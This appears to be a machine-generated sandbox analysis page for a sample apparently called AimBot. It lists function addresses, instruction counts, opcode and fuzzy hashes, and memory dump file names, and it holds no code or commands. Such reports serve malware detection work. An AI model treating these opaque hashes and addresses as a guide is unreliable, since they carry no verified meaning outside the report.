Opcode ID: f1a3bbf9b73f772ac6d7226f82b328a02eabf34480f76943a5da4050cf72736c
Instruction ID: fc684235b7dbd0dcbae45e48f4bcbeec179bd9233fc9750d0814dae3498cb3fb
Opcode Fuzzy Hash: f1a3bbf9b73f772ac6d7226f82b328a02eabf34480f76943a5da4050cf72736c
Instruction Fuzzy Hash: 12B1E572A043608BE728DB29EC5576FB7D6ABC4314F09492DF999C7381EA39DC048792

Function 006CB888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 431305a514ace5cf0e26643054059e375927bf745e40f2e7f8aa144ca5c43ad2
Instruction ID: d04495c06beae91a71ef74d731300bc01545e57eb569add6b9136842929a43fd
Opcode Fuzzy Hash: 431305a514ace5cf0e26643054059e375927bf745e40f2e7f8aa144ca5c43ad2
Instruction Fuzzy Hash: B6B1E0755007429BDB38AB65CC83FF7B3AAEF54308F14452DEA8386680EB75E985CB10

Function 006E70D0 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3998e24e848c3385877da5492d69c64300c8b951d96cbe9886c2ddaaa2c46391
Instruction ID: 7e893254c23f7abdc817e8d46225305a3bf62e4dcc496ca8f450e0f7f007fc97
Opcode Fuzzy Hash: 3998e24e848c3385877da5492d69c64300c8b951d96cbe9886c2ddaaa2c46391
Instruction Fuzzy Hash: 41C15CB29087818FC370CF69DC96BABB7E1BF85318F08492DD1D9C6242E778A155CB46

Function 007274C0 Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9631a5ae44fc424b4cf9aaa0f9fa6dc0ca37edfefb2b3ba52cfaef3af83d25
Instruction ID: 7b598844655de793f69b99fe5fc240d3164941dfbd941208bc7c729e6acef3c8
Opcode Fuzzy Hash: ec9631a5ae44fc424b4cf9aaa0f9fa6dc0ca37edfefb2b3ba52cfaef3af83d25
Instruction Fuzzy Hash: 2C91903520C7229BC718DF28E990A2AB7E5EF85710F15892CE585D7391E739EC60CB92

Function 007271F0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1adad6d29e0e491904d9bec17334dbcc345272eb6a0a378631e9291c16c9d3d
Instruction ID: 972fe3f2ca8282986cfaf636ea864b8c44c141d8062f5c09dd0e1611c4feaa1c
Opcode Fuzzy Hash: a1adad6d29e0e491904d9bec17334dbcc345272eb6a0a378631e9291c16c9d3d
Instruction Fuzzy Hash: 89819F742083519BC728DF28E990A2BB7F5FF95750F14892CE885CB252E738EC10CB92

Function 006E146B Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85881566b947aa1cbc21328a30b44f1332ccec0a3e9ae6468bfc5851c9d10e43
Instruction ID: 0b26fa590b32171f6566b5d3b60f485468763b115dec841e8b83756cf52160b5
Opcode Fuzzy Hash: 85881566b947aa1cbc21328a30b44f1332ccec0a3e9ae6468bfc5851c9d10e43
Instruction Fuzzy Hash: 44A1F6B690A7C18BD3258E1A845037BB793AFE2304F19866DD8994F342E771DC46E781

Function 00705100 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9407f527538ce0a06be65696d65c3694e439678be16caf412b0b168e282b9659
Instruction ID: 966749ed7184e7b7ecb5c5cb9a609baaf391c616eb297e7632c3c95864c67244
Opcode Fuzzy Hash: 9407f527538ce0a06be65696d65c3694e439678be16caf412b0b168e282b9659
Instruction Fuzzy Hash: D751ACB1600604EBDB209B64CC96B7773E4FF85368F144A18F986CB2D1E379E805CB65

Function 00715E50 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 742bf67ec41b8b42fc4607e82361a8a21cc4dc0701f3dc28e31fe6412c73c349
Instruction ID: 6f3b0dee0cb6165cd301f711c9e10a045d1500df71b1875e3223f9de0d8e708c
Opcode Fuzzy Hash: 742bf67ec41b8b42fc4607e82361a8a21cc4dc0701f3dc28e31fe6412c73c349
Instruction Fuzzy Hash: D7715837B25D908BC7188E3D4C412E5AA535BDB33473DC37AE5B18B3D5D63A88468390

Function 006E1420 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36fc8a3e27f10d7a3a4f52a0d6816c2bba53408e607f4b7db742f191d1e74e52
Instruction ID: 9cc10fd5ad8a22509fe11446991c0ff1d8e87506a18cada1b64041bf12be37a7
Opcode Fuzzy Hash: 36fc8a3e27f10d7a3a4f52a0d6816c2bba53408e607f4b7db742f191d1e74e52
Instruction Fuzzy Hash: 727105B660A3C28BEB258E1AD54037BBB93AFE2704F1D856ED85A4F341E771C805E741

Function 006EA3A0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac4a2b2d164589054a92d0c19627d975a74e3d6ac5b58183f48ebe0b4bae08b
Instruction ID: 8d31a6835bd8b611b90cbce21cd0aa6a30e9743df51c2f11000d6c88e0398955
Opcode Fuzzy Hash: fac4a2b2d164589054a92d0c19627d975a74e3d6ac5b58183f48ebe0b4bae08b
Instruction Fuzzy Hash: 0E513837B166E04BC72C8ABE4C111AAAA875BD7330B3EC3B69C759B3E5C5285C025391

Function 006EFFE6 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081ce631d757e455968e09362b67c3a4fb198b4cafb432372c3cad07929fb546
Instruction ID: 1822f9c371d4d34d5ce55cd0694d5f702996c5a157ad3e17ea0bf747941f1546
Opcode Fuzzy Hash: 081ce631d757e455968e09362b67c3a4fb198b4cafb432372c3cad07929fb546
Instruction Fuzzy Hash: 2A51D4B1908395DFE722DF64C88077BF7E6AF86304F04096CE58593242E7B4D845C796

Function 0070B53E Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c1b3db00e6b09ec34d2f8dbd65969540f0937fddc1a2389f43d07f51b35599
Instruction ID: a1d317d0d38cb415dfde52106e6b7212bb17f1546638824c36fbdbb5e044d343
Opcode Fuzzy Hash: 01c1b3db00e6b09ec34d2f8dbd65969540f0937fddc1a2389f43d07f51b35599
Instruction Fuzzy Hash: 5F51F972A147198BC7298E298C9026AB2D2ABC4300F59877CD95ACB3C2DB35ED158780

Function 006F01D0 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e51818a82064d275678d476d7db1d2977bba1f0253d296117de2385471061a
Instruction ID: 42c3474659b163eb5b6415ff9b2d257b813ba0d2181e81cc6cf1b7c4d1261511
Opcode Fuzzy Hash: 77e51818a82064d275678d476d7db1d2977bba1f0253d296117de2385471061a
Instruction Fuzzy Hash: FB5197B19093849FEB21DF64C88077BF7E6BF85310F04496DE49993292E7B0E844CB96

Function 006EACBC Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91107355857b70065a1d3e80f6a7c480f6460e59d4e109d233073cd6c87e36a8
Instruction ID: 23086437c1926e5f4c0711872ce0f716f01c5decd369d7048c0fa07cd0771325
Opcode Fuzzy Hash: 91107355857b70065a1d3e80f6a7c480f6460e59d4e109d233073cd6c87e36a8
Instruction Fuzzy Hash: 426190719193818BE320DF35EA55B6EBBF2AB85706F04082DE588A3353D635DC09CB67

Function 0071B8A0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aad9ee2ad2b4c81043b2c3c14b9bd1de554362bfbb7b384166ebbc77d07d2ea
Instruction ID: 5d88c02dd1e46ffeedd2753eb1d2241cc8e47b0ff62fa1ba731f596af0c84f76
Opcode Fuzzy Hash: 4aad9ee2ad2b4c81043b2c3c14b9bd1de554362bfbb7b384166ebbc77d07d2ea
Instruction Fuzzy Hash: F1516DB16087548FE314DF69D49435BBBE1BBC8318F044E2DE4E987390E379DA488B82

Function 00724730 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b730d3611cb031641d7f60a56159047d3ee4678f808e5ddd01e65e8451d04df
Instruction ID: d350dd589eb08f536bbf2b64ec9c89dd97b6a23e9554f9ea40e639da5b7deb2c
Opcode Fuzzy Hash: 9b730d3611cb031641d7f60a56159047d3ee4678f808e5ddd01e65e8451d04df
Instruction Fuzzy Hash: 3051E5316083209BC714DE18EC80B2FB7E6EB85715F598A3CE4E997391D739EC108B91

Function 007160E0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 200f850ed7722736b28118fb7502b1ae03030ce575c36243aeecaea0455914e9
Instruction ID: 1821c9cee69dce5f980fe9ec2deb7a6d138ce21cfd6a439271ee2dbc5cb268de
Opcode Fuzzy Hash: 200f850ed7722736b28118fb7502b1ae03030ce575c36243aeecaea0455914e9
Instruction Fuzzy Hash: F951693760D5908BE7289A3C5C113E96A835FD3334F2DC779EAF1873E2E5698881A350

Function 006E1CD0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1b07fb606a1e9ff4039881f292d9d4cb5383d8c00c85e1e4801bfbbc734e70
Instruction ID: 866df32a11c754a75f0dce7acb54600e5a04bc67dd8a0c6b6950c43d92d1e8cd
Opcode Fuzzy Hash: 2b1b07fb606a1e9ff4039881f292d9d4cb5383d8c00c85e1e4801bfbbc734e70
Instruction Fuzzy Hash: 50518075A063849FC7149F19C88096AB7E2FF86314F15466CFC958F392D631EC42DB92

Function 00726AC0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6584ef0422b422d1af2ac8c73eb6b77d9b5e3468c3da69d98077fb21f59ec715
Instruction ID: c4c6a6fce636f5a716a7d5d22e7b81f5c987b5aae481417652096d719d159fd6
Opcode Fuzzy Hash: 6584ef0422b422d1af2ac8c73eb6b77d9b5e3468c3da69d98077fb21f59ec715
Instruction Fuzzy Hash: 8C41AEB4208310AFD714AF14E890B2FB7E6EB85711F24882DF5C987292D339E950CB66

Function 00726C50 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10de45d4d9d29d5af828906607b19ee0a230328a46928a5f6fac9b6eccda55e9
Instruction ID: 1417428d1501e0c0d0f97b8e5bb1770fca7de7abbf5cf0023e25828cc18c52c6
Opcode Fuzzy Hash: 10de45d4d9d29d5af828906607b19ee0a230328a46928a5f6fac9b6eccda55e9
Instruction Fuzzy Hash: 45417174308354ABDB149F14E980B2FB7F6EB85B11F14882DF5898B292D339ED10DB66

Function 0070C239 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94f2afec5de405adcb54ee71092409013b075efb73a12a84f4d0130e779c3b7d
Instruction ID: 6cd087b26717fad7f95f8e3910d3b6da6b5aa3199f9a41e83ea1975aebca713a
Opcode Fuzzy Hash: 94f2afec5de405adcb54ee71092409013b075efb73a12a84f4d0130e779c3b7d
Instruction Fuzzy Hash: 97418BB8818341CBD720DF54C44176BB3F0BF96715F448A1DE8C8A7281EB398941CB96

Function 006ED8A0 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edf13b88237cc31c75faf4bdf0e5960bb585d61aa336c44501f11c17c0294fcc
